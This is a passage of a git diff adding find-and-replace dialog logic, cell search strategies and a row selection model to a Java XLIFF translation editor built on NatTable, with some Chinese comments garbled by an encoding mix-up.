DataLayer dataLayer = LayerUtil.getLayer(natTable, DataLayer.class); + int lastRowPosition = dataLayer.getRowCount() - 1; + SelectionLayer selectionLayer = LayerUtil.getLayer(natTable, SelectionLayer.class); + lastRowPosition = LayerUtil.convertRowPosition(dataLayer, lastRowPosition, + selectionLayer); + + if (startingRowPosition < lastRowPosition) { + find(lastRowPosition, -1); + } else { + refreshMsgAndTable(); + } + } + } else { + refreshMsgAndTable(); + } + } + + } finally { + command.getContext().removeLayerListener(searchEventListener); + } + } + + private ILayerListener initSearchEventListener() { + // Register event listener + final ILayerListener searchEventListener = new ILayerListener() { + public void handleLayerEvent(ILayerEvent event) { + if (event instanceof FindReplaceEvent) { + FindReplaceEvent searchEvent = (FindReplaceEvent) event; + searchResultCellRegion = searchEvent.getCellRegion(); + if (searchResultCellRegion != null) { + ActiveCellRegion.setActiveCellRegion(searchResultCellRegion); + } + } + } + }; + return searchEventListener; + } + }); + return searchResultCellRegion; + } + + private boolean doFind() { + CellRegion cellRegion; + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if (editor == null) { + return false; + } + if (forwardButton.getSelection()) { + if (editor.isHorizontalLayout()) { + cellRegion = find(0, 0); + } else { + // 解决在垂直布局查找 Source 时,如果 Source 没有匹é…而 Target 有匹é…,会找到 Target 中的匹é…文本 + if (sourceButton.getSelection()) { + cellRegion = find(0, 0); + } else { + cellRegion = find(1, 0); + } + } + } else { + NatTable natTable = editor.getTable(); + int sourceRowPosition = natTable.getRowCount() - 1; + int row = LayerUtil.getLowerLayerRowPosition(natTable, sourceRowPosition, SelectionLayer.class); + + if (!editor.isHorizontalLayout()) { + row *= VerticalNatTableConfig.ROW_SPAN; + if (!sourceButton.getSelection()) { + row++; + } + } + cellRegion = find(row, -1); + } + replaceButton.setEnabled(!sourceButton.getSelection() && cellRegion != null); + if (cellRegion == null) { + refreshMsgAndTable(); + } + return cellRegion != null; + } + + /** + * 查找下一个 ; + * @return + */ + private boolean doFindNext() { + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if (editor == null) { + return false; + } + int[] selectedRows = editor.getSelectedRows(); + int startingRowPosition; + if (selectedRows.length > 0) { + Arrays.sort(selectedRows); + if (forwardButton.getSelection()) { + startingRowPosition = selectedRows[selectedRows.length - 1] /* 最大行数 */; // 从当å‰é€‰ä¸­è¡Œä¸­æœ€å¤§çš„行开始找。 + } else { + startingRowPosition = selectedRows[0] /* 最å°è¡Œæ•° */; // 从当å‰é€‰ä¸­è¡Œä¸­æœ€å¤§çš„行开始找。 + } + if (!editor.isHorizontalLayout()) { + startingRowPosition *= VerticalNatTableConfig.ROW_SPAN; + if (!sourceButton.getSelection()) { + startingRowPosition++; + } + } + int startOffset; + CellRegion cellRegion = ActiveCellRegion.getActiveCellRegion(); + if (cellRegion == null || cellRegion.getPositionCoordinate().getRowPosition() != startingRowPosition) { // 起始行ä¸ä¸€è‡´ + if (forwardButton.getSelection()) { + startOffset = 0; + } else { + startOffset = -1; + } + } else { + PositionCoordinate coordinate = cellRegion.getPositionCoordinate(); + int columnIndex = coordinate.getLayer().getColumnIndexByPosition(coordinate.getColumnPosition()); // 得到上次查找的列 + if (columnIndex != (sourceButton.getSelection() ? editor.getSrcColumnIndex() : editor + .getTgtColumnIndex())) {// 如果所查找的列改å˜äº†ï¼Œèµ‹ä¸ºåˆå§‹å€¼ + if (forwardButton.getSelection()) { + startOffset = 0; + } else { + startOffset = -1; + } + } else { + if (forwardButton.getSelection()) { + startOffset = cellRegion.getRegion().getOffset() + cellRegion.getRegion().getLength(); + } else { + startOffset = cellRegion.getRegion().getOffset() - 1; + if (startOffset == -1) { + // 解决在垂直布局时,选择å‘åŽæŸ¥æ‰¾åœ¨æŸ¥æ‰¾åˆ°æŸä¸€è¡ŒåŽä¼šè¿”回到最åŽä¸€è¡Œç»§ç»­æŸ¥æ‰¾çš„问题。 + if (editor.isHorizontalLayout()) { + startingRowPosition--; + } else { + startingRowPosition -= 2; + } + } + } + } + } + cellRegion = find(startingRowPosition, startOffset); + replaceButton.setEnabled(!sourceButton.getSelection() && cellRegion != null); + if (cellRegion == null) { + refreshMsgAndTable(); + } + return cellRegion != null; + } else { + return doFind(); + } + } + + /** + * æ›¿æ¢ ; + */ + private void doReplace() { + CellRegion activeCellRegion = ActiveCellRegion.getActiveCellRegion(); + if (activeCellRegion == null) { + return; + } + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getTargetStyledEditor(); + if(cellEditor != null){ + StyledText text = cellEditor.getSegmentViewer().getTextWidget(); + String sleText = text.getSelectionText(); + if( sleText != null && sleText.toLowerCase().equals(cmbFind.getText().toLowerCase())){ + Point p = text.getSelection(); + text.replaceTextRange(p.x, p.y - p.x, cmbReplace.getText()); + } + } + } + + /** + * 替æ¢å…¨éƒ¨ ; + */ + private void doReplaceAll() { + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + if (editor == null) { + return; + } + + CellRegion cellRegion = null; + if (editor.isHorizontalLayout()) { + cellRegion = find(0, 0); + } else { + cellRegion = find(1, 0); + } + + if (cellRegion == null) { // 无查找结果 + return; + } + + boolean forward = forwardButton.getSelection(); + if(!forward){ + forwardButton.setSelection(true); + } + + int firstRowPosition = cellRegion.getPositionCoordinate().getRowPosition(); + HashMap segments = new HashMap(); + int count = 0; + String findStr = cmbFind.getText(); + String replaceStr = cmbReplace.getText(); + do { + PositionCoordinate coordinate = cellRegion.getPositionCoordinate(); + int rowPosition = coordinate.rowPosition; + int columnPosition = coordinate.columnPosition; + int rowIndex = coordinate.getLayer().getRowIndexByPosition(rowPosition); + if (!editor.isHorizontalLayout()) { + rowIndex = rowIndex / VerticalNatTableConfig.ROW_SPAN; + } + + // 判断é”定 + TransUnitBean transUnit = editor.getRowTransUnitBean(rowIndex); + String translate = transUnit.getTuProps().get("translate"); + if (translate != null && "no".equalsIgnoreCase(translate)) { + rowPosition++; + cellRegion = find(rowPosition, 0); + continue; + } + String cellValue = (String) coordinate.getLayer().getDataValueByPosition(columnPosition, rowPosition); + StringBuffer cellValueBf = new StringBuffer(cellValue); + int start = cellValue.toUpperCase().indexOf(findStr.toUpperCase()); + while (start != -1) { + cellValueBf.replace(start, start + findStr.length(), replaceStr); + start = cellValueBf.indexOf(findStr, start); + count++; + } + segments.put(editor.getXLFHandler().getRowId(rowIndex), cellValueBf.toString()); + rowPosition++; + if(!editor.isHorizontalLayout()){ + rowPosition++; + } + cellRegion = find(rowPosition, 0); + } while (cellRegion.getPositionCoordinate().getRowPosition() != firstRowPosition); + if(!forward){ + forwardButton.setSelection(false); + backwardButton.setSelection(true); + } + int columnIndex = 0; + if (sourceButton.getSelection()) { + columnIndex = editor.getSrcColumnIndex(); + } else { + columnIndex = editor.getTgtColumnIndex(); + } + try { + editor.updateSegments(segments, columnIndex, null, null); + } catch (ExecutionException e) { + LOGGER.error(Messages.getString("dialog.FindReplaceDialog.logger1"), e); + } + String msg = Messages.getString("dialog.FindReplaceDialog.status3"); + statusLabel.setText(MessageFormat.format(msg, count)); + ActiveCellRegion.setActiveCellRegion(null); + } + + /** + * 刷新æ示信æ¯å’Œ Nattable + */ + private void refreshMsgAndTable() { + // æ›´æ¢æ¡ä»¶æŸ¥æ‰¾ï¼Œå½“查找ä¸åˆ°ç»“果时,清除之å‰æ ‡è®°çš„红色文本 + ActiveCellRegion.setActiveCellRegion(null); + statusLabel.setText(msg); + XLIFFEditorImplWithNatTable editor = XLIFFEditorImplWithNatTable.getCurrent(); + editor.setFocus(); + if (editor != null) { + editor.refresh(); + } + } + + // private String replaceText(String initValue, String text, String replaceText, List regions) { + // IInnerTagFactory innerTagFactory = new XliffInnerTagFactory(initValue, new PlaceHolderNormalModeBuilder()); + // List innerTagBeans = innerTagFactory.getInnerTagBeans(); + // int wave = 0; + // StringBuffer sb = new StringBuffer(initValue); + // // 解决å‘åŽæŸ¥æ‰¾æ›¿æ¢æ—¶æ›¿æ¢ä½ç½®ä¼šå‡ºçŽ°é”™è¯¯çš„问题。 + // if (!forwardButton.getSelection()) { + // Collections.reverse(regions); + // } + // StringBuffer sbText = new StringBuffer(text); + // for (IRegion region : regions) { + // // 由于å¯èƒ½å«æœ‰æ ‡è®°ï¼Œå› æ­¤å…ˆæ‰¾åˆ° region 的实际ä½ç½® + // int caretOffset = region.getOffset() + wave; + // int offset = caretOffset; + // Matcher matcher = PATTERN.matcher(sbText); + // int index = 0; + // while (matcher.find()) { + // String placeHolder = matcher.group(); + // int start = matcher.start(); + // if (start >= offset) { + // break; + // } + // caretOffset += innerTagBeans.get(index++).getContent().replaceAll("&", "&").length() - placeHolder.length(); + // } + // sb.replace(caretOffset, caretOffset + region.getLength(), replaceText); + // int start = region.getOffset() + wave; + // sbText.replace(start, start + region.getLength(), replaceText); + // wave += replaceText.length() - region.getLength(); + // } + // return sb.toString(); + // } + + /** + * 通过æ¯æ¬¡æ‰“开查找替æ¢æ¡†æˆ–者修改查找框中内容,判断查找,查找下一个,替æ¢ï¼Œæ›¿æ¢æ‰€æœ‰æŒ‰é’®çš„å¯ç”¨æ€§ 修改查找替æ¢BUG时添加 burke + */ + private void setEnable() { + boolean enabled = cmbFind.getText().length() > 0; + findButton.setEnabled(enabled); + findNextButton.setEnabled(enabled); + replaceAllButton.setEnabled(!sourceButton.getSelection() && enabled); + if (!enabled) { + replaceButton.setEnabled(false); + } + } + + public void setSearchText(String text) { + if (cmbFind != null && !cmbFind.isDisposed()) { + if (!text.equals("")) { + cmbFind.setText(text); + } else if (lstFindHistory != null && lstFindHistory.size() > 0){ + cmbFind.setText(lstFindHistory.get(0)); + } + cmbFind.setSelection(new Point(0, cmbFind.getText().length())); + } + } + + private void readDialogSettings() { + IDialogSettings ids = getDialogSettings(); + boolean blnDirection = ids.getBoolean("nattable.FindReplaceDialog.direction"); + forwardButton.setSelection(!blnDirection); + backwardButton.setSelection(blnDirection); + boolean blnRange = ids.getBoolean("nattable.FindReplaceDialog.range"); + sourceButton.setSelection(!blnRange); + targetButton.setSelection(blnRange); + + caseSensitiveButton.setSelection(ids.getBoolean("nattable.FindReplaceDialog.caseSensitive")); + wholeWordButton.setSelection(ids.getBoolean("nattable.FindReplaceDialog.wholeWord")); + regExButton.setSelection(ids.getBoolean("nattable.FindReplaceDialog.regEx")); + + String[] arrFindHistory = ids.getArray("nattable.FindReplaceDialog.findHistory"); + if (arrFindHistory != null) { + lstFindHistory.clear(); + for (int i = 0; i < arrFindHistory.length; i++) { + lstFindHistory.add(arrFindHistory[i]); + } + } + + String[] arrReplaceHistory = ids.getArray("nattable.FindReplaceDialog.replaceHistory"); + if (arrReplaceHistory != null) { + lstReplaceHistory.clear(); + for (int i = 0; i < arrReplaceHistory.length; i++) { + lstReplaceHistory.add(arrReplaceHistory[i]); + } + } + } + + private void writeDialogSettings() { + IDialogSettings ids = getDialogSettings(); + ids.put("nattable.FindReplaceDialog.direction", backwardButton.getSelection()); + ids.put("nattable.FindReplaceDialog.range", targetButton.getSelection()); + ids.put("nattable.FindReplaceDialog.caseSensitive", caseSensitiveButton.getSelection()); + ids.put("nattable.FindReplaceDialog.wholeWord", wholeWordButton.getSelection()); + ids.put("nattable.FindReplaceDialog.regEx", regExButton.getSelection()); + if (okToUse(cmbFind)) { + String findString = cmbFind.getText(); + if (findString.length() > 0) { + lstFindHistory.add(0, findString); + } + writeHistory(lstFindHistory, ids, "nattable.FindReplaceDialog.findHistory"); + } + if (okToUse(cmbReplace)) { + String replaceString = cmbReplace.getText(); + if (replaceString.length() > 0) { + lstReplaceHistory.add(0, replaceString); + } + writeHistory(lstReplaceHistory, ids, "nattable.FindReplaceDialog.replaceHistory"); + } + } + + /** + * Writes the given history into the given dialog store. + * + * @param history the history + * @param settings the dialog settings + * @param sectionName the section name + * @since 3.2 + */ + private void writeHistory(List history, IDialogSettings settings, String sectionName) { + int itemCount= history.size(); + Set distinctItems= new HashSet(itemCount); + for (int i= 0; i < itemCount; i++) { + String item= (String)history.get(i); + if (distinctItems.contains(item)) { + history.remove(i--); + itemCount--; + } else { + distinctItems.add(item); + } + } + + while (history.size() > 8) { + history.remove(8); + } + + String[] names= new String[history.size()]; + history.toArray(names); + settings.put(sectionName, names); + + } + + private IDialogSettings getDialogSettings() { + IDialogSettings settings = Activator.getDefault().getDialogSettings(); + IDialogSettings fDialogSettings = settings.getSection(getClass().getName()); + if (fDialogSettings == null) + fDialogSettings = settings.addNewSection(getClass().getName()); + return fDialogSettings; + } + + /** + * Updates the given combo with the given content. + * @param combo + * combo to be updated + * @param content + * to be put into the combo + */ + private void updateCombo(Combo combo, List content) { + combo.removeAll(); + for (int i = 0; i < content.size(); i++) { + combo.add(content.get(i)); + } + } + + /** + * Returns true if control can be used. + * @param control + * the control to be checked + * @return true if control can be used + */ + private boolean okToUse(Control control) { + return control != null && !control.isDisposed(); + } + + /** + * Called after executed find/replace action to update the history. + */ + private void updateFindAndReplaceHistory() { + updateFindHistory(); + if (okToUse(cmbReplace)) { + updateHistory(cmbReplace, lstReplaceHistory); + } + + } + + /** + * Called after executed find action to update the history. + */ + private void updateFindHistory() { + if (okToUse(cmbFind)) { + updateHistory(cmbFind, lstFindHistory); + } + } + + /** + * Updates the combo with the history. + * @param combo + * to be updated + * @param history + * to be put into the combo + */ + private void updateHistory(Combo combo, List history) { + String findString = combo.getText(); + int index = history.indexOf(findString); + if (index != 0) { + if (index != -1) { + history.remove(index); + } + history.add(0, findString); + Point selection = combo.getSelection(); + updateCombo(combo, history); + combo.setText(findString); + combo.setSelection(selection); + } + } +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/event/FindReplaceEvent.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/event/FindReplaceEvent.java new file mode 100644 index 0000000..03b2436 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/event/FindReplaceEvent.java @@ -0,0 +1,21 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.event; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion; +import net.sourceforge.nattable.layer.event.AbstractContextFreeEvent; + +public class FindReplaceEvent extends AbstractContextFreeEvent { + + private final CellRegion cellRegion; + + public FindReplaceEvent(CellRegion cellRegion) { + this.cellRegion = cellRegion; + } + + public CellRegion getCellRegion() { + return cellRegion; + } + + public FindReplaceEvent cloneEvent() { + return new FindReplaceEvent(cellRegion); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/CellDisplayValueSearchUtil.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/CellDisplayValueSearchUtil.java new file mode 100644 index 0000000..653c73b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/CellDisplayValueSearchUtil.java @@ -0,0 +1,102 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.config.VerticalNatTableConfig; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.TagDisplayConverter; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion; +import net.sourceforge.nattable.config.CellConfigAttributes; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.data.convert.IDisplayConverter; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.style.DisplayMode; + +import org.eclipse.jface.text.IRegion; + +public class CellDisplayValueSearchUtil { + + static List getCellCoordinates(ILayer contextLayer, int startingColumnPosition, + int startingRowPosition, int width, int height, boolean isHorizontalLayout) { + if (!isHorizontalLayout) { + height = (int) Math.ceil(height * 1.0 / VerticalNatTableConfig.ROW_SPAN); + } + List coordinates = new ArrayList(); + for (int columnPosition = 0; columnPosition < width; columnPosition++) { + for (int rowPosition = 0; rowPosition < height; rowPosition++) { + PositionCoordinate coordinate = new PositionCoordinate(contextLayer, startingColumnPosition, + startingRowPosition); + coordinates.add(coordinate); + + startingRowPosition += isHorizontalLayout ? 1 : VerticalNatTableConfig.ROW_SPAN; + } + startingColumnPosition++; + } + return coordinates; + } + + static List getDescendingCellCoordinates(ILayer contextLayer, int startingColumnPosition, + int startingRowPosition, int width, int height, boolean isHorizontalLayout) { + if (!isHorizontalLayout) { + width = width / VerticalNatTableConfig.ROW_SPAN; + } + List coordinates = new ArrayList(); + for (int columnPosition = width; columnPosition >= 0 && startingColumnPosition >= 0; columnPosition--) { + for (int rowPosition = height; rowPosition >= 0 && startingRowPosition >= 0; rowPosition--) { + PositionCoordinate coordinate = new PositionCoordinate(contextLayer, startingColumnPosition, + startingRowPosition); + coordinates.add(coordinate); + + startingRowPosition -= isHorizontalLayout ? 1 : VerticalNatTableConfig.ROW_SPAN; + } + startingColumnPosition--; + } + return coordinates; + } + + static CellRegion findCell(final ILayer layer, final IConfigRegistry configRegistry, + final PositionCoordinate[] cellsToSearch, final Object valueToMatch, + final ICellSearchStrategy cellSearchStrategy) { + final List cellCoordinates = Arrays.asList(cellsToSearch); + // Find cell + CellRegion targetCoordinate = null; + + String stringValue = valueToMatch.toString(); + + final IDisplayConverter displayConverter = configRegistry + .getConfigAttribute(CellConfigAttributes.DISPLAY_CONVERTER, DisplayMode.NORMAL, + XLIFFEditorImplWithNatTable.SOURCE_EDIT_CELL_LABEL); + + for (int cellIndex = 0; cellIndex < cellCoordinates.size(); cellIndex++) { + final PositionCoordinate cellCoordinate = cellCoordinates.get(cellIndex); + final int columnPosition = cellCoordinate.columnPosition; + final int rowPosition = cellCoordinate.rowPosition; + + // Convert cell's data + if (displayConverter instanceof TagDisplayConverter) { + LayerCell cell = new LayerCell(cellCoordinate.getLayer(), cellCoordinate.getColumnPosition(), + cellCoordinate.getRowPosition()); + ((TagDisplayConverter) displayConverter).setCell(cell); + } + final Object dataValue = displayConverter.canonicalToDisplayValue(layer.getDataValueByPosition( + columnPosition, rowPosition)); + + // Compare with valueToMatch + if (dataValue instanceof String) { + String dataValueString = dataValue.toString(); + IRegion region; + if ((region = cellSearchStrategy.executeSearch(stringValue, dataValueString)) != null) { + targetCoordinate = new CellRegion(cellCoordinate, region); + break; + } + ((DefaultCellSearchStrategy)cellSearchStrategy).setStartOffset(-1); + } + } + + return targetCoordinate; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/ColumnSearchStrategy.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/ColumnSearchStrategy.java new file mode 100644 index 0000000..ec3c128 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/ColumnSearchStrategy.java @@ -0,0 +1,91 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion; +import net.sourceforge.nattable.config.IConfigRegistry; +import net.sourceforge.nattable.coordinate.PositionCoordinate; +import net.sourceforge.nattable.layer.ILayer; + +public class ColumnSearchStrategy implements ISearchStrategy { + + private ILayer contextLayer; + private int[] columnPositions; + private int startingRowPosition; + private final XLIFFEditorImplWithNatTable xliffEditor; + private final IConfigRegistry configRegistry; + private ICellSearchStrategy cellSearchStrategy; + private boolean isHorizontalLayout; + + public ColumnSearchStrategy(int[] columnPositions, XLIFFEditorImplWithNatTable xliffEditor) { + this(columnPositions, 0, xliffEditor); + } + + public ColumnSearchStrategy(int[] columnPositions, int startingRowPosition, XLIFFEditorImplWithNatTable xliffEditor) { + this.columnPositions = columnPositions; + this.startingRowPosition = startingRowPosition; + this.xliffEditor = xliffEditor; + this.configRegistry = xliffEditor.getTable().getConfigRegistry(); + } + + public CellRegion executeSearch(Object valueToMatch) { + return CellDisplayValueSearchUtil.findCell(getContextLayer(), configRegistry, + getColumnCellsToSearch(getContextLayer()), valueToMatch, getCellSearchStrategy()); + } + + public void setStartingRowPosition(int startingRowPosition) { + this.startingRowPosition = startingRowPosition; + } + + public void setColumnPositions(int[] columnPositions) { + this.columnPositions = columnPositions; + isHorizontalLayout = xliffEditor.isHorizontalLayout(); + } + + protected PositionCoordinate[] getColumnCellsToSearch(ILayer contextLayer) { + List cellsToSearch = new ArrayList(); + int rowPosition = startingRowPosition; + // See how many rows we can add, depends on where the search is starting from + final int rowCount = contextLayer.getRowCount(); + int height = rowCount; + boolean searchForward = getCellSearchStrategy().isSearchForward(); + if (searchForward) { + height = height - startingRowPosition; + } else { + height = startingRowPosition; + } + for (int columnIndex = 0; columnIndex < columnPositions.length; columnIndex++) { + final int startingColumnPosition = columnPositions[columnIndex]; + if (!searchForward) { + cellsToSearch.addAll(CellDisplayValueSearchUtil.getDescendingCellCoordinates(getContextLayer(), + startingColumnPosition, rowPosition, 1, height, isHorizontalLayout)); + rowPosition = rowCount - 1; + } else { + cellsToSearch.addAll(CellDisplayValueSearchUtil.getCellCoordinates(getContextLayer(), + startingColumnPosition, rowPosition, 1, height, isHorizontalLayout)); + rowPosition = 0; + } + height = rowCount; + // After first column is set, start the next column from the top + } + return cellsToSearch.toArray(new PositionCoordinate[0]); + } + + public ILayer getContextLayer() { + return contextLayer; + } + + public void setContextLayer(ILayer contextLayer) { + this.contextLayer = contextLayer; + } + + public ICellSearchStrategy getCellSearchStrategy() { + return cellSearchStrategy; + } + + public void setCellSearchStrategy(ICellSearchStrategy cellSearchStrategy) { + this.cellSearchStrategy = cellSearchStrategy; + } +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/DefaultCellSearchStrategy.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/DefaultCellSearchStrategy.java new file mode 100644 index 0000000..09a3d1d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/DefaultCellSearchStrategy.java @@ -0,0 +1,120 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy; + +import net.heartsome.cat.common.ui.utils.InnerTagUtil; + +import org.eclipse.jface.text.BadLocationException; +import org.eclipse.jface.text.Document; +import org.eclipse.jface.text.FindReplaceDocumentAdapter; +import org.eclipse.jface.text.IRegion; +import org.eclipse.jface.text.Position; + +/** + * The comparator will base its comparison on the display value of a cell. The display value is assumed to be a string. + */ +public class DefaultCellSearchStrategy implements ICellSearchStrategy { + + public DefaultCellSearchStrategy() { + } + + private boolean searchForward = true; + + private int startOffset = 0; + + private boolean caseSensitive; + + private boolean wholeWord; + + private boolean regExSearch; + /** burke 修改find/replaceç•Œé¢ä¿®æ”¹ ä¸éœ€è¦fuzzySearch*/ + //private boolean fuzzySearch; + + public IRegion executeSearch(String findValue, String dataValue) { + // 如果查找的字符和å•å…ƒæ ¼ä¸­çš„æ•°æ®é•¿åº¦ä¸º 0,,则直接返回没有找到。 + if (findValue == null || findValue.length() == 0 || dataValue == null || dataValue.length() == 0) { + return null; + } + Document doc = new Document(dataValue); + FindReplaceDocumentAdapter adapter = new FindReplaceDocumentAdapter(doc); + IRegion region; + try { + if (startOffset == -1) { + if (searchForward) { + startOffset = 0; + } else { + startOffset = adapter.length() - 1; + } + } + region = adapter.find(startOffset, findValue, searchForward, caseSensitive, wholeWord, regExSearch); + while (region != null) { + boolean inTag = false; + for (int i = region.getOffset(); i < region.getOffset() + region.getLength(); i++) { + Position tagRange = InnerTagUtil.getStyledTagRange(dataValue, i); + if (tagRange != null) { + if (searchForward) { + if (tagRange.getOffset() + tagRange.getLength() == dataValue.length()) { + return null; // 如果å¥é¦–是一个标记,则直接返回 null,会继续查找上一个文本段。 + } + startOffset = tagRange.getOffset() + tagRange.getLength(); + } else { + if (tagRange.offset == 0) { + return null; // 如果å¥é¦–是一个标记,则直接返回 null,会继续查找上一个文本段。 + } + startOffset = tagRange.getOffset() - 1; + } + inTag = true; + break; + } + } + if (inTag) { + region = adapter.find(startOffset, findValue, searchForward, caseSensitive, wholeWord, regExSearch); + } else { + break; + } + } + return region; + } catch (BadLocationException e) { + return null; + } + } + + public boolean isCaseSensitive() { + return caseSensitive; + } + + public boolean isWholeWord() { + return wholeWord; + } + + public boolean isRegExSearch() { + return regExSearch; + } + /** burke 修改find/replaceç•Œé¢ä¿®æ”¹ ä¸éœ€è¦fuzzySearch*/ + /*public boolean isFuzzySearch() { + return fuzzySearch; + }*/ + + public boolean isSearchForward() { + return searchForward; + } + + public int getStartOffset() { + return startOffset; + } + + public void setStartOffset(int startOffset) { + this.startOffset = startOffset; + } + /** burke 修改find/replaceç•Œé¢ä¿®æ”¹ ä¸éœ€è¦fuzzySearch*/ + /*public void init(boolean searchForward, boolean caseSensitive, boolean wholeWord, boolean regExSearch, + boolean fuzzySearch, int startOffset) {*/ + public void init(boolean searchForward, boolean caseSensitive, boolean wholeWord, boolean regExSearch, + int startOffset) { + this.searchForward = searchForward; + this.caseSensitive = caseSensitive; + this.wholeWord = wholeWord; + this.regExSearch = regExSearch; + /** burke 修改find/replaceç•Œé¢ä¿®æ”¹ ä¸éœ€è¦fuzzySearch*/ + //this.fuzzySearch = fuzzySearch; + this.startOffset = startOffset; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/ICellSearchStrategy.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/ICellSearchStrategy.java new file mode 100644 index 0000000..57141f8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/ICellSearchStrategy.java @@ -0,0 +1,13 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy; + +import org.eclipse.jface.text.IRegion; + +public interface ICellSearchStrategy { + + IRegion executeSearch(String firstValue, String secondValue); + /** burke 修改find/replaceç•Œé¢æ¡† 修改 ä¸éœ€è¦fuzzySearch*/ + //void init(boolean searchForward, boolean caseSensitive, boolean wholeWord, boolean regExSearch, boolean fuzzySearch, int startOffset); + void init(boolean searchForward, boolean caseSensitive, boolean wholeWord, boolean regExSearch, int startOffset); + + boolean isSearchForward(); +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/ISearchStrategy.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/ISearchStrategy.java new file mode 100644 index 0000000..1f51e2c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/search/strategy/ISearchStrategy.java @@ -0,0 +1,17 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.search.strategy; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.CellRegion; +import net.sourceforge.nattable.layer.ILayer; + +public interface ISearchStrategy { + + CellRegion executeSearch(Object valueToMatch); + + void setContextLayer(ILayer contextLayer); + + ILayer getContextLayer(); + + ICellSearchStrategy getCellSearchStrategy(); + + void setCellSearchStrategy(ICellSearchStrategy cellSearchStrategy); +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/HorizontalRowSelectionModel.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/HorizontalRowSelectionModel.java new file mode 100644 index 0000000..5d05a5e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/selection/HorizontalRowSelectionModel.java @@ -0,0 +1,289 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.selection; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import java.util.concurrent.locks.ReadWriteLock; +import java.util.concurrent.locks.ReentrantReadWriteLock; + +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.selection.ISelectionModel; +import net.sourceforge.nattable.selection.SelectionLayer; + +import org.eclipse.swt.graphics.Rectangle; + +/** + * 水平布局下使用的选中行模型 + * @author weachy + * @version + * @since JDK1.5 + * @param + */ +public class HorizontalRowSelectionModel implements ISelectionModel { + + private final SelectionLayer selectionLayer; + private final IRowIdAccessor rowIdAccessor; + + private Rectangle lastSelectedRange; // *live* reference to last range parameter used in addSelection(range) + private Set 